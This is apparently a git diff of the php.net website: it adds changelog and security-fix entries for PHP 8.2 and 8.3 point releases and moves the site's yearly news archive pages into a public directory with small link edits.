        • Allow to shuffle tests even in non-parallel mode.
        • +
        • Fixed bug (Accessing Dom\Node::baseURI can throw TypeError).
        • +
        • Fixed bug (Accessing Dom\Node properties can can throw TypeError).
      • -
      • Tidy: +
      • MBString:
          -
        • tidy::__construct/parseFile/parseString methods throw an exception if the configuration argument is invalid.
        • -
        • Fixed (improved tidyOptGetCategory detection).
        • +
        • Fixed bug ; mb_guess_encoding no longer crashes when passed huge list of candidate encodings (with 200,000+ entries).
      • -
      • Tokenizer: +
      • Opcache:
          -
        • Fixed bug (Corrupted result after recursive tokenization during token_get_all()).
        • +
        • Fixed bug ("Insufficient shared memory" when using JIT on Solaris).
        • +
        • Fixed bug (Borked SCCP of array containing partial object).
        • +
        • Fixed bug (Preloaded constant erroneously propagated to file-cached script).
      • -
      • URI: +
      • OpenSSL:
          -
        • Add new URI extension.
        • +
        • Fix a bunch of leaks and error propagation.
      • -
      • Windows: +
      • PCNTL:
          -
        • Fixed bug (Improper long path support for relative paths).
        • -
        • Fixed bug (Windows phpize builds ignore source subfolders).
        • -
        • Fix (_get_osfhandle asserts in debug mode when given a socket).
        • +
        • Fixed pcntl_setns() internal errors handling regarding errnos.
        • +
        • Fixed cpuset leak in pcntl_setcpuaffinity on out-of-range CPU ID on NetBSD/Solaris platforms.
        • +
        • Fixed pcntl_signal() signal table registering the callback first OS-wise before the internal list.
        • +
        • Fixed pcntl_signal_dispatch() stale pointer and exception handling.
      • -
      • XML: +
      • PCRE:
          -
        • The xml_parser_free() function has been deprecated.
        • +
        • Fixed preg_match memory leak with invalid regexes.
      • -
      • XMLWriter: +
      • PDO_PGSQL:
          -
        • Improved performance and reduce memory consumption.
        • +
        • Fixed bug (connection attribute status typo for GSS negotiation).
      • -
      • XSL: +
      • PGSQL:
          -
        • Implement request #30622 (make $namespace parameter functional).
        • +
        • Fixed bug (pg_connect() memory leak on error).
      • -
      • Zlib: +
      • Sockets:
          -
        • gzfile, gzopen and readgzfile, their "use_include_path" argument is now a boolean.
        • -
        • Fixed bug (gzopen() does not use the default stream context when opening HTTP URLs).
        • -
        • Implemented (zlib streams should support locking).
        • +
        • Fixed bug (socket_set_option() crash with array 'addr' entry as null).
        • +
        • Fixed possible addr length overflow with socket_connect() and AF_UNIX family sockets.
      • -
      • Zip: +
      • Windows:
          -
        • Fixed missing zend_release_fcall_info_cache on the following methods ZipArchive::registerProgressCallback() and ZipArchive::registerCancelCallback() on failure.
        • +
        • Fixed compilation with clang (missing intrin.h include).
      - -

      Version 8.4.18

      @@ -2774,6 +4587,141 @@ +
      +

      Version 8.3.36

      + +
      • Core: +
          +
        • Fixed , (Avoid state corruption via bailout).
        • +
      • +
      +
      + + + +
      +

      Version 8.3.35

      + +
      • Filter: +
          +
        • Fixed (FILTER_SANITIZE_ENCODED does not encode 0xFF).
        • +
      • +
      • FPM: +
          +
        • Fixed (IPv6 ACL bypass in FastCGI listen.allowed_clients due to partial address comparison). (CVE-2026-91768)
        • +
      • +
      • MySQLnd: +
          +
        • Fixed (Various packet overreads in mysqlnd wire protocol). (CVE-2025-1218)
        • +
      • +
      • OpenSSL: +
          +
        • Fixed (TLS hostname verification falls back to CN after SAN mismatch). (CVE-2026-91769)
        • +
        • Fixed (Heap buffer overflow in php_openssl_matches_wildcard_name() on crafted server certificate wildcard CN). (CVE-2026-91767)
        • +
      • +
      • Phar: +
          +
        • Fixed (Integer overflow in phar_tar_number() allowing TAR archive entry injection). (CVE-2026-6103)
        • +
      • +
      • SOAP: +
          +
        • Fixed (Unbounded recursion in server-side cleanup_xml_node()). (CVE-2026-91765)
        • +
        • Fixed (Integer overflow to buffer overflow in SOAP HTTP parsing). (CVE-2025-14181)
        • +
      • +
      • Standard: +
          +
        • Fixed (Out-of-bounds read in convert.* stream filters when line-break-chars contains NUL). (CVE-2026-92842)
        • +
        • Fixed (Cross-origin credential leak in HTTP stream wrapper redirects). (CVE-2026-91766)
        • +
        • Fixed (Out-of-bounds read in the HTTP stream wrapper when following a redirect with an empty Location header). (CVE-2026-93682)
        • +
      • +
      • Windows: +
          +
        • Fixed (Reserved device names are not rejected before file and stream I/O). (CVE-2026-17545)
        • +
      • +
      +
      + + + +
      +

      Version 8.3.33

      + +
      • Date: +
          +
        • Fixed leak on double DatePeriod::__construct() call.
        • +
      • +
      • GD: +
          +
        • Upgrade libgd. (CVE-2026-9672)
        • +
      • +
      • PGSQL: +
          +
        • Fixed (SQL injection via E'...' backslash breakout). (CVE-2026-17543)
        • +
      • +
      • Phar: +
          +
        • Fixed (Crash via recursive symlinks). (CVE-2026-7260)
        • +
      • +
      +
      + + + +
      +

      Version 8.3.32

      + +
      • Streams: +
          +
        • Fixed bug (Segfault in file_get_contents w/ a https URL and a proxy set). (CVE-2026-12184)
        • +
      • +
      • OpenSSL: +
          +
        • Fixed bug (Memory corruption (zend_mm_heap corrupted) in openssl_encrypt with AES-WRAP-PAD). (CVE-2026-14355)
        • +
      • +
      +
      + + + +
      +

      Version 8.3.31

      + +
      • Curl: +
          +
        • Add support for brotli and zstd on Windows.
        • +
      • +
      • FPM: +
          +
        • Fixed (XSS within status endpoint). (CVE-2026-6735)
        • +
      • +
      • MBString: +
          +
        • Fixed (Null pointer dereference in php_mb_check_encoding() via mb_ereg_search_init()). (CVE-2026-7259)
        • +
      • +
      • OpenSSL: +
          +
        • Fix compatibility issues with OpenSSL 4.0.
        • +
      • +
      • PDO_Firebird: +
          +
        • Fixed (SQL injection via NUL bytes in quoted strings). (CVE-2025-14179)
        • +
      • +
      • SOAP: +
          +
        • Fixed (Stale SOAP_GLOBAL(ref_map) pointer with Apache Map). (CVE-2026-6722)
        • +
        • Fixed (Use-after-free after header parsing failure with SOAP_PERSISTENCE_SESSION). (CVE-2026-7261)
        • +
        • Fixed (Broken Apache map value NULL check). (CVE-2026-7262)
        • +
      • +
      • Standard: +
          +
        • Fixed (Signed integer overflow of char array offset). (CVE-2026-7568)
        • +
        • Fixed (Consistently pass unsigned char to ctype.h functions). (CVE-2026-7258)
        • +
      • +
      +
      + + +

      Version 8.3.30

      @@ -5444,6 +7392,137 @@ +
      +

      Version 8.2.35

      + +
      • Core: +
          +
        • Fixed , (Avoid state corruption via bailout).
        • +
      • +
      +
      + + + +
      +

      Version 8.2.34

      + +
      • Filter: +
          +
        • Fixed (FILTER_SANITIZE_ENCODED does not encode 0xFF).
        • +
      • +
      • FPM: +
          +
        • Fixed (IPv6 ACL bypass in FastCGI listen.allowed_clients due to partial address comparison). (CVE-2026-91768)
        • +
      • +
      • MySQLnd: +
          +
        • Fixed (Various packet overreads in mysqlnd wire protocol). (CVE-2025-1218)
        • +
      • +
      • OpenSSL: +
          +
        • Fixed (TLS hostname verification falls back to CN after SAN mismatch). (CVE-2026-91769)
        • +
        • Fixed (Heap buffer overflow in php_openssl_matches_wildcard_name() on crafted server certificate wildcard CN). (CVE-2026-91767)
        • +
      • +
      • Phar: +
          +
        • Fixed (Integer overflow in phar_tar_number() allowing TAR archive entry injection). (CVE-2026-6103)
        • +
      • +
      • SOAP: +
          +
        • Fixed (Unbounded recursion in server-side cleanup_xml_node()). (CVE-2026-91765)
        • +
        • Fixed (Integer overflow to buffer overflow in SOAP HTTP parsing). (CVE-2025-14181)
        • +
      • +
      • Standard: +
          +
        • Fixed (Out-of-bounds read in convert.* stream filters when line-break-chars contains NUL). (CVE-2026-92842)
        • +
        • Fixed (Cross-origin credential leak in HTTP stream wrapper redirects). (CVE-2026-91766)
        • +
        • Fixed (Out-of-bounds read in the HTTP stream wrapper when following a redirect with an empty Location header). (CVE-2026-93682)
        • +
      • +
      • Windows: +
          +
        • Fixed (Reserved device names are not rejected before file and stream I/O). (CVE-2026-17545)
        • +
      • +
      +
      + + + +
      +

      Version 8.2.33

      + +
      • Date: +
          +
        • Fixed leak on double DatePeriod::__construct() call.
        • +
      • +
      • GD: +
          +
        • Upgrade libgd. (CVE-2026-9672)
        • +
      • +
      • PGSQL: +
          +
        • Fixed (SQL injection via E'...' backslash breakout). (CVE-2026-17543)
        • +
      • +
      • Phar: +
          +
        • Fixed (Crash via recursive symlinks). (CVE-2026-7260)
        • +
      • +
      +
      + + + +
      +

      Version 8.2.32

      + +
      • OpenSSL: +
          +
        • Fixed bug (Memory corruption (zend_mm_heap corrupted) in openssl_encrypt with AES-WRAP-PAD). (CVE-2026-14355)
        • +
      • +
      +
      + + + +
      +

      Version 8.2.31

      + +
      • Curl: +
          +
        • Add support for brotli and zstd on Windows.
        • +
      • +
      • FPM: +
          +
        • Fixed (XSS within status endpoint). (CVE-2026-6735)
        • +
      • +
      • MBString: +
          +
        • Fixed (Null pointer dereference in php_mb_check_encoding() via mb_ereg_search_init()). (CVE-2026-7259)
        • +
      • +
      • OpenSSL: +
          +
        • Fix compatibility issues with OpenSSL 4.0.
        • +
      • +
      • PDO_Firebird: +
          +
        • Fixed (SQL injection via NUL bytes in quoted strings). (CVE-2025-14179)
        • +
      • +
      • SOAP: +
          +
        • Fixed (Stale SOAP_GLOBAL(ref_map) pointer with Apache Map). (CVE-2026-6722)
        • +
        • Fixed (Use-after-free after header parsing failure with SOAP_PERSISTENCE_SESSION). (CVE-2026-7261)
        • +
        • Fixed (Broken Apache map value NULL check). (CVE-2026-7262)
        • +
      • +
      • Standard: +
          +
        • Fixed (Signed integer overflow of char array offset). (CVE-2026-7568)
        • +
        • Fixed (Consistently pass unsigned char to ctype.h functions). (CVE-2026-7258)
        • +
      • +
      +
      + + +

      Version 8.2.30

      diff --git a/archive/1998.php b/public/archive/1998.php similarity index 98% rename from archive/1998.php rename to public/archive/1998.php index 0a8587cb2a..403b42b9be 100644 --- a/archive/1998.php +++ b/public/archive/1998.php @@ -1,6 +1,6 @@ true]); ?> diff --git a/archive/1999.php b/public/archive/1999.php similarity index 98% rename from archive/1999.php rename to public/archive/1999.php index dd2e53baf1..abb7905141 100644 --- a/archive/1999.php +++ b/public/archive/1999.php @@ -1,6 +1,6 @@ true]); ?> diff --git a/archive/2000.php b/public/archive/2000.php similarity index 98% rename from archive/2000.php rename to public/archive/2000.php index 90aac82375..3b634cd423 100644 --- a/archive/2000.php +++ b/public/archive/2000.php @@ -1,6 +1,6 @@ true]); ?> @@ -19,7 +19,7 @@ This release includes improvements for a large number of defects and numerous enhancements in the PHP core, the language implementation and extensions. Download, - ChangeLog. + ChangeLog.


      diff --git a/archive/2001.php b/public/archive/2001.php similarity index 94% rename from archive/2001.php rename to public/archive/2001.php index c0654a2169..166a0590e5 100644 --- a/archive/2001.php +++ b/public/archive/2001.php @@ -1,6 +1,6 @@ true]); ?> @@ -43,10 +43,10 @@

      [18-Oct-2001] - PHP-GTK - documentation is starting + PHP-GTK + documentation is starting to be more filled out. The manual is now rebuilt every night and - downloadable versions + downloadable versions of it in different formats are also available. If you have been working with PHP-GTK and would like to contribute to the documentation effort, please let us know. @@ -62,7 +62,7 @@ Thanks to the generous folks at Rackspace, we have added additional capacity for hosting the PHP project's efforts. Currently, the machine they - have provided is serving downloads for www.php.net and snaps.php.net. We will + have provided is serving downloads for www.php.net. We will continue to re-balance our resource needs across all of the machines provided by our supporters.

      @@ -105,7 +105,7 @@
      - +

      PHP-GTK version 0.1 released

      @@ -123,7 +123,7 @@ A talk on PHP-GTK was presented by Andrei Zmievski and Frank Kromann at the 2001 O'Reilly Open Source Conference in San Diego. The slides from the talk can be viewed online. - For more information, visit the PHP-GTK website. + For more information, visit the PHP-GTK website.


      @@ -294,14 +294,14 @@
      - +

      Announcing PHP-GTK

      [01-Mar-2001] The first release of PHP-GTK is now available. PHP-GTK is a PHP extension that provides an object-oriented interface to the GTK+ toolkit and enables you to write client-side cross-platform GUI applications. For more information, visit - http://gtk.php.net/. + https://gtk.php.net/.


      diff --git a/archive/2002.php b/public/archive/2002.php similarity index 97% rename from archive/2002.php rename to public/archive/2002.php index 25b7c01bee..eebf4b122d 100644 --- a/archive/2002.php +++ b/public/archive/2002.php @@ -1,6 +1,6 @@ true]); ?> @@ -31,7 +31,7 @@

      [27-Dec-2002] The PHP developers are pleased to announce the immediate availability of - PHP 4.3.0, the latest and greatest version of this + PHP 4.3.0, the latest and greatest version of this extremely popular and widely used scripting language.

      @@ -202,10 +202,10 @@

      PHP 4.2.3 Released

      [06-Sept-2002] - PHP 4.2.3 has been released with a large number + PHP 4.2.3 has been released with a large number of bug fixes. It is a maintenance release, and is a recommended update for all users of PHP, and Windows users in particular. A complete list of changes can - be found in the ChangeLog. + be found in the ChangeLog.


      @@ -316,7 +316,7 @@

      [22-Jul-2002] The PHP Group today announced the details of a serious vulnerability in - PHP versions 4.2.0 and 4.2.1. A security update, PHP + PHP versions 4.2.0 and 4.2.1. A security update, PHP 4.2.2, fixes the issue. Everyone running affected versions of PHP is encouraged to upgrade immediately. The new 4.2.2 release doesn't include other changes, so upgrading from 4.2.1 is safe and painless. @@ -522,7 +522,7 @@ http://php.net/echo. We gathered some information about how the URLs are parsed, and what are your possibilities. Read it in our new - URL Howto. + URL Howto.


      @@ -568,7 +568,7 @@

      [24-Jan-2002] - PHP-GTK has reached version + PHP-GTK has reached version 0.5.0, also known as "monday starts on saturday". The version number was bumped from 0.1.1 to this one to indicate that PHP-GTK is now a fairly mature and stable extension and can be used for a variety of applications diff --git a/archive/2003.php b/public/archive/2003.php similarity index 98% rename from archive/2003.php rename to public/archive/2003.php index 72c0653c87..7ff2ac3aa2 100644 --- a/archive/2003.php +++ b/public/archive/2003.php @@ -1,6 +1,6 @@ true]); ?> @@ -180,7 +180,7 @@ PHP 4.3.4. This release contains a fair number of bug fixes and we recommend that all users of PHP upgrade to this version. Full list of fixes can be found in the - ChangeLog. + ChangeLog.


      @@ -391,7 +391,7 @@ PHP 4.3.3. This release contains a large number of bug fixes and we strongly recommend that all users of PHP upgrade to this version. Full list of fixes can be found in - the ChangeLog. + the ChangeLog.


      @@ -579,7 +579,7 @@ The PHP developers are proud to announce the immediate availability of PHP 4.3.2. This release contains a large number of bug fixes and is a strongly recommended update for all users of PHP. - Full list of fixes can be found in the ChangeLog file. + Full list of fixes can be found in the ChangeLog file.


      @@ -701,7 +701,7 @@ [17-Feb-2003] The PHP Group today announced the details of a serious CGI vulnerability in PHP version 4.3.0. A - security update, PHP 4.3.1, fixes the issue. + security update, PHP 4.3.1, fixes the issue. Everyone running affected version of PHP (as CGI) are encouraged to upgrade immediately. The new 4.3.1 release does not include any other changes, so upgrading from 4.3.0 is safe and painless. diff --git a/archive/2004.php b/public/archive/2004.php similarity index 99% rename from archive/2004.php rename to public/archive/2004.php index 9d65257ec6..4ee6faec62 100644 --- a/archive/2004.php +++ b/public/archive/2004.php @@ -1,6 +1,6 @@ true]); ?> @@ -578,7 +578,7 @@ functions starting with the letters you typed in. You can browse the list [29-Feb-2004] The Spanish PHP mailing list was relocated to our list server. If you would like to subscribe to the list, you can do it via our - mailing lists page. To read + mailing lists page. To read the archives, please see our news server.

      diff --git a/archive/2005.php b/public/archive/2005.php similarity index 99% rename from archive/2005.php rename to public/archive/2005.php index 74d2736f5f..37e204d1ad 100644 --- a/archive/2005.php +++ b/public/archive/2005.php @@ -1,6 +1,6 @@ true]); ?> @@ -240,7 +240,7 @@ applications - in cases where PHP formerly just silently ignored this and often causing memory corruptions - we also recommend to test PHP 4.4.0RC2 with your applications. The final release is planned for July - 11th. PHP 4.4.0RC2 can be found here. + 11th. PHP 4.4.0RC2 can be found here.


      diff --git a/archive/2006.php b/public/archive/2006.php similarity index 99% rename from archive/2006.php rename to public/archive/2006.php index 61c43adb63..71c225da5c 100644 --- a/archive/2006.php +++ b/public/archive/2006.php @@ -1,6 +1,6 @@ true]); ?> diff --git a/archive/2007.php b/public/archive/2007.php similarity index 99% rename from archive/2007.php rename to public/archive/2007.php index a6ed7679d5..4004138aad 100644 --- a/archive/2007.php +++ b/public/archive/2007.php @@ -1,6 +1,6 @@ true]); ?> @@ -587,7 +587,7 @@ functionality for PHP developers, including detailed error information,
      [08-Feb-2007]

      - The news on the front page of php.net has changed, the conference announcements are now located on their own page. + The news on the front page of php.net has changed, the conference announcements are now located on their own page. The idea is to keep php.net specific news clear and also opens the door for additional news entries, like for RC releases. More changes are on the way so keep an eye out.

      diff --git a/archive/2007.xml b/public/archive/2007.xml similarity index 100% rename from archive/2007.xml rename to public/archive/2007.xml diff --git a/archive/2008.php b/public/archive/2008.php similarity index 96% rename from archive/2008.php rename to public/archive/2008.php index 3f57442be6..a70c930e3e 100644 --- a/archive/2008.php +++ b/public/archive/2008.php @@ -1,6 +1,6 @@ true]); ?> @@ -134,7 +134,7 @@
      [04-Dec-2008]
      -

      The PHP development team is proud to announce the third alpha release +

      The PHP development team is proud to announce the third alpha release of the upcoming PHP 5.3.0 minor version update of PHP. Several new features have already been documented in the official documentation, @@ -442,7 +442,7 @@

      [01-Aug-2008]
      -

      The PHP development team is proud to announce the first alpha release of the upcoming minor version update of PHP. Windows binaries will be available starting with alpha2 (intermediate snapshots available at snaps.php.net). The new version PHP 5.3 is expected to improve stability and performance as well as add new language syntax and extensions. Several new features have already been documented in the official documentation, others are listed on the wiki in preparation of getting documented. Please also review the NEWS file.

      +

      The PHP development team is proud to announce the first alpha release of the upcoming minor version update of PHP. Windows binaries will be available starting with alpha2. The new version PHP 5.3 is expected to improve stability and performance as well as add new language syntax and extensions. Several new features have already been documented in the official documentation, others are listed on the wiki in preparation of getting documented. Please also review the NEWS file.

      THIS IS A DEVELOPMENT PREVIEW - DO NOT USE IT IN PRODUCTION!

      The purpose of this alpha release is to encourage users to not only actively @@ -482,7 +482,7 @@

      [30-Jul-2008]
      -

      Overall 158 tests have been submitted as part of TestFest 2008 since the launch of the TestFest submission site by 30 different people from people all over the world. Actually this is not counting the various submissions by existing core developers, who also took this opportunity to add some more tests. This has actually increased total test coverage for ext/reflection, ext/dom and ext/exif by about 10% each. While the organization of the TestFest was a bit adhoc, there were numerous TestFest events in local user groups. So the number of people exposed to the PHP test framework is much greater. Hopefully this will lead to more people submitting bug reports with an accompanying phpt test file!

      +

      Overall 158 tests have been submitted as part of TestFest 2008 since the launch of the TestFest submission site by 30 different people from people all over the world. Actually this is not counting the various submissions by existing core developers, who also took this opportunity to add some more tests. This has actually increased total test coverage for ext/reflection, ext/dom and ext/exif by about 10% each. While the organization of the TestFest was a bit adhoc, there were numerous TestFest events in local user groups. So the number of people exposed to the PHP test framework is much greater. Hopefully this will lead to more people submitting bug reports with an accompanying phpt test file!

      Our top submitter Felix De Vliegher has actually committed his last submissions himself since, based on the high quality of his submissions, he has been granted commit rights to the PHP repository. We have not heard back from all participants, but we encourage everybody to blog about their experience and provide us with feedback on how to improve future events.

      Now better late than never, here are the 10 winners of the promised elePHPant raffle sponsored by Nexen. Note that Felix asked me not to include him in the raffle, since he is already herding quite a number of elePHPants at home.

      @@ -795,11 +795,10 @@
      [30-Mar-2008]
      -

      The PHP-QA team would like to announce the - TestFest for the month of +

      The PHP-QA team would like to announce the TestFest for the month of May 2008. The TestFest is an event that aims at improving the code coverage of the - test suite for the PHP + test suite for the PHP language itself. As part of this event, local User Groups (UG) are invited to join the TestFest. These UGs can meet physically or come together virtually. The point however is that people network to learn @@ -809,10 +808,9 @@

      All it takes is someone to organize a UG to spearhead the event and to get others involved in - writing phpt tests. + writing phpt tests. The submissions will then be reviewed by members of php.net before - getting included in the official test suite. Please visit the - TestFest homepage to get + getting included in the official test suite. Please visit the TestFest homepage to get additional details on the TestFest on how to get involved, either as a UG or by setting up the necessary infrastructure.

      diff --git a/archive/2008.xml b/public/archive/2008.xml similarity index 96% rename from archive/2008.xml rename to public/archive/2008.xml index 64759679bb..940f176d4a 100644 --- a/archive/2008.xml +++ b/public/archive/2008.xml @@ -128,7 +128,7 @@
      -

      The PHP development team is proud to announce the third alpha release +

      The PHP development team is proud to announce the third alpha release of the upcoming PHP 5.3.0 minor version update of PHP. Several new features have already been documented in the official documentation, others are listed on the wiki @@ -463,7 +463,7 @@

      -

      The PHP development team is proud to announce the first alpha release of the upcoming minor version update of PHP. Windows binaries will be available starting with alpha2 (intermediate snapshots available at snaps.php.net). The new version PHP 5.3 is expected to improve stability and performance as well as add new language syntax and extensions. Several new features have already been documented in the official documentation, others are listed on the wiki in preparation of getting documented. Please also review the NEWS file.

      +

      The PHP development team is proud to announce the first alpha release of the upcoming minor version update of PHP. Windows binaries will be available starting with alpha2. The new version PHP 5.3 is expected to improve stability and performance as well as add new language syntax and extensions. Several new features have already been documented in the official documentation, others are listed on the wiki in preparation of getting documented. Please also review the NEWS file.

      THIS IS A DEVELOPMENT PREVIEW - DO NOT USE IT IN PRODUCTION!

      The purpose of this alpha release is to encourage users to not only actively participate in identifying bugs, but also in ensuring that all new features or @@ -498,7 +498,7 @@

      -

      Overall 158 tests have been submitted as part of TestFest 2008 since the launch of the TestFest submission site by 30 different people from people all over the world. Actually this is not counting the various submissions by existing core developers, who also took this opportunity to add some more tests. This has actually increased total test coverage for ext/reflection, ext/dom and ext/exif by about 10% each. While the organization of the TestFest was a bit adhoc, there were numerous TestFest events in local user groups. So the number of people exposed to the PHP test framework is much greater. Hopefully this will lead to more people submitting bug reports with an accompanying phpt test file!

      +

      Overall 158 tests have been submitted as part of TestFest 2008 since the launch of the TestFest submission site by 30 different people from people all over the world. Actually this is not counting the various submissions by existing core developers, who also took this opportunity to add some more tests. This has actually increased total test coverage for ext/reflection, ext/dom and ext/exif by about 10% each. While the organization of the TestFest was a bit adhoc, there were numerous TestFest events in local user groups. So the number of people exposed to the PHP test framework is much greater. Hopefully this will lead to more people submitting bug reports with an accompanying phpt test file!

      Our top submitter Felix De Vliegher has actually committed his last submissions himself since, based on the high quality of his submissions, he has been granted commit rights to the PHP repository. We have not heard back from all participants, but we encourage everybody to blog about their experience and provide us with feedback on how to improve future events.

      Now better late than never, here are the 10 winners of the promised elePHPant raffle sponsored by Nexen. Note that Felix asked me not to include him in the raffle, since he is already herding quite a number of elePHPants at home.

        @@ -871,11 +871,10 @@ and join the world of blu
        -

        The PHP-QA team would like to announce the - TestFest for the month of +

        The PHP-QA team would like to announce the TestFest for the month of May 2008. The TestFest is an event that aims at improving the code coverage of the - test suite for the PHP + test suite for the PHP language itself. As part of this event, local User Groups (UG) are invited to join the TestFest. These UGs can meet physically or come together virtually. The point however is that people network to learn @@ -884,10 +883,9 @@ and join the world of blu hopefully reduce the work load for the PHP.net mentors.

        All it takes is someone to organize a UG to spearhead the event and to get others involved in - writing phpt tests. + writing phpt tests. The submissions will then be reviewed by members of php.net before - getting included in the official test suite. Please visit the - TestFest homepage to get + getting included in the official test suite. Please visit the TestFest homepage to get additional details on the TestFest on how to get involved, either as a UG or by setting up the necessary infrastructure.

        diff --git a/archive/2009.php b/public/archive/2009.php similarity index 98% rename from archive/2009.php rename to public/archive/2009.php index 26a252594e..01702fab1d 100644 --- a/archive/2009.php +++ b/public/archive/2009.php @@ -1,6 +1,6 @@ true]); ?> @@ -482,8 +482,7 @@

        The keynote speaker is Jan Schneider, who will also talk about the Horde project. In addition, we will - have sessions about other frameworks and include a - PHP TestFest. + have sessions about other frameworks and include a PHP TestFest.

        PHP'n Rio sessions go from 6-9 pm. Then the PHP TestFest follows up @@ -522,7 +521,7 @@ Please download and test these release candidates, and report any issues found. A stable release is expected next week . In case of critical issues we will continue producing weekly RCs. Downloads and further - information is available at qa.php.net. + information is available at qa.php.net. See also the work in progress 5.3 upgrade guide.

        @@ -565,7 +564,7 @@

        PHP 5.2.10RC2 and PHP 5.3.0RC3 Release Announcements

        [12-Jun-2009] -

        The PHP development team is proud to announce the second release candidate of PHP 5.2.10 (PHP 5.2.10RC2) and the third release candidate of PHP 5.3.0 (PHP 5.3.0RC3). These RCs focuses on bug fixes and stability improvements, and we hope only minimal changes are required for the next candidate or final stable releases.

        PHP 5.2.10 is a pure maintenance release for providing bugfixes and stability updates. PHP 5.3.0 is a newly developed version of PHP featuring long-awaited features like namespaces, late static binding, closures and much more.

        Please download and test these release candidates, and report any issues found. Downloads and further information is available at qa.php.net. See also the work in progress 5.3 upgrade guide.

        +

        The PHP development team is proud to announce the second release candidate of PHP 5.2.10 (PHP 5.2.10RC2) and the third release candidate of PHP 5.3.0 (PHP 5.3.0RC3). These RCs focuses on bug fixes and stability improvements, and we hope only minimal changes are required for the next candidate or final stable releases.

        PHP 5.2.10 is a pure maintenance release for providing bugfixes and stability updates. PHP 5.3.0 is a newly developed version of PHP featuring long-awaited features like namespaces, late static binding, closures and much more.

        Please download and test these release candidates, and report any issues found. Downloads and further information is available at qa.php.net. See also the work in progress 5.3 upgrade guide.

      @@ -665,8 +664,7 @@ have 2 months left to go.

      - Getting involved couldn't be simpler. Visit the - QA TestFest page to + Getting involved couldn't be simpler. Visit the QA TestFest page to find out how you can organize a TestFest event in your community. We are looking forward to seeing your communities tests being committed into PHP. @@ -695,8 +693,8 @@

      Please download and test this release candidate, and report any issues found. - Downloads and further information is available at qa.php.net. - See also the work in progress 5.3 upgrade guide. + Downloads and further information is available at qa.php.net. + See also the work in progress 5.3 upgrade guide.

      diff --git a/archive/2010.php b/public/archive/2010.php similarity index 99% rename from archive/2010.php rename to public/archive/2010.php index 25c908af01..f49122fce7 100644 --- a/archive/2010.php +++ b/public/archive/2010.php @@ -1,6 +1,6 @@ true]); ?> diff --git a/archive/2011.php b/public/archive/2011.php similarity index 98% rename from archive/2011.php rename to public/archive/2011.php index d3606d7bc6..0c90248df2 100644 --- a/archive/2011.php +++ b/public/archive/2011.php @@ -1,6 +1,6 @@ true]); ?> @@ -20,7 +20,7 @@

      The PHP development team is proud to announce the 4th - release candidate of PHP 5.4. + release candidate of PHP 5.4. PHP 5.4 includes new language features and removes several legacy (deprecated) behaviours. Windows binaries can be downloaded from the Windows QA site. @@ -85,7 +85,7 @@

      The PHP development team is proud to announce the third - release candidate of PHP 5.4. + release candidate of PHP 5.4. PHP 5.4 includes new language features and removes several legacy (deprecated) behaviours. Windows binaries can be downloaded from the Windows QA site. @@ -131,7 +131,7 @@

      The PHP development team is proud to announce the second - release candidate of PHP 5.4. + release candidate of PHP 5.4. PHP 5.4 includes new language features and removes several legacy (deprecated) behaviours. Windows binaries can be downloaded from the Windows QA site. @@ -208,7 +208,7 @@ traits, best-practices and success cases related to quality, revision

      The PHP development team is proud to announce the first - release candidate of PHP 5.4. + release candidate of PHP 5.4. PHP 5.4 includes new language features and removes several legacy (deprecated) behaviours. Windows binaries can be downloaded from the Windows QA site. @@ -253,7 +253,7 @@ traits, best-practices and success cases related to quality, revision [26-Oct-2011]

      - The PHP development team is proud to announce the second beta release of PHP 5.4. + The PHP development team is proud to announce the second beta release of PHP 5.4. PHP 5.4 includes new language features and removes several legacy (deprecated) behaviours. Windows binaries can be downloaded from the Windows QA site.

      @@ -358,7 +358,7 @@ traits, best-practices and success cases related to quality, revision [27-Sep-2011]

      - The PHP development team is proud to announce the first beta release of PHP 5.4. + The PHP development team is proud to announce the first beta release of PHP 5.4. PHP 5.4 includes new language features and removes several legacy (deprecated) behaviors. Windows binaries can be downloaded from the Windows QA site.

      @@ -649,7 +649,7 @@ traits, best-practices and success cases related to quality, revision [28-Jun-2011]

      - The PHP development team is proud to announce the first PHP 5.4 alpha release. + The PHP development team is proud to announce the first PHP 5.4 alpha release. PHP 5.4 includes new language features and removes several legacy (deprecated) behaviors. Read the NEWS file for a complete list of changes. diff --git a/archive/2012.php b/public/archive/2012.php similarity index 99% rename from archive/2012.php rename to public/archive/2012.php index 2f72ff9670..f64e14c0e0 100644 --- a/archive/2012.php +++ b/public/archive/2012.php @@ -1,6 +1,6 @@ true]); ?> @@ -823,7 +823,7 @@

      The PHP development team would like to announce the 2nd - release candidate of PHP 5.4.1. + release candidate of PHP 5.4.1. Windows binaries can be downloaded from the Windows QA site.

      diff --git a/archive/2013.php b/public/archive/2013.php similarity index 99% rename from archive/2013.php rename to public/archive/2013.php index 6a780564e1..8a406707a3 100644 --- a/archive/2013.php +++ b/public/archive/2013.php @@ -1,7 +1,7 @@ true]); ?> diff --git a/archive/2014.php b/public/archive/2014.php similarity index 99% rename from archive/2014.php rename to public/archive/2014.php index 6dc4f4f8cb..a4063b2a9a 100644 --- a/archive/2014.php +++ b/public/archive/2014.php @@ -1,7 +1,7 @@ true]); ?> @@ -674,7 +674,7 @@

      For source downloads of PHP 5.6.0RC4 please visit - the download page. Windows binaries + the download page. Windows binaries can be found on windows.php.net/qa/.

      @@ -832,7 +832,7 @@

      For source downloads of PHP 5.6.0RC3 please visit - the download page. Windows binaries + the download page. Windows binaries can be found on windows.php.net/qa/.

      @@ -965,7 +965,7 @@

      For source downloads of PHP 5.6.0RC2 please visit - the download page. Windows binaries + the download page. Windows binaries can be found on windows.php.net/qa/.

      @@ -1155,7 +1155,7 @@

      For source downloads of PHP 5.6.0RC1 please visit - the download page. Windows binaries + the download page. Windows binaries can be found on windows.php.net/qa/.

      @@ -1204,7 +1204,7 @@

      For source downloads of PHP 5.6.0beta4 please visit - the download page. Windows binaries + the download page. Windows binaries can be found on windows.php.net/qa/.

      @@ -1403,7 +1403,7 @@

      For source downloads of PHP 5.6.0beta3 please visit - the download page. Windows binaries + the download page. Windows binaries can be found on windows.php.net/qa/.

      @@ -1453,7 +1453,7 @@

      For source downloads of PHP 5.6.0beta2 please visit - the download page. Windows binaries + the download page. Windows binaries can be found on windows.php.net/qa/.

      @@ -1548,7 +1548,7 @@

      For source downloads of PHP 5.6.0beta1 please visit - the download page. Windows binaries + the download page. Windows binaries can be found on windows.php.net/qa/.

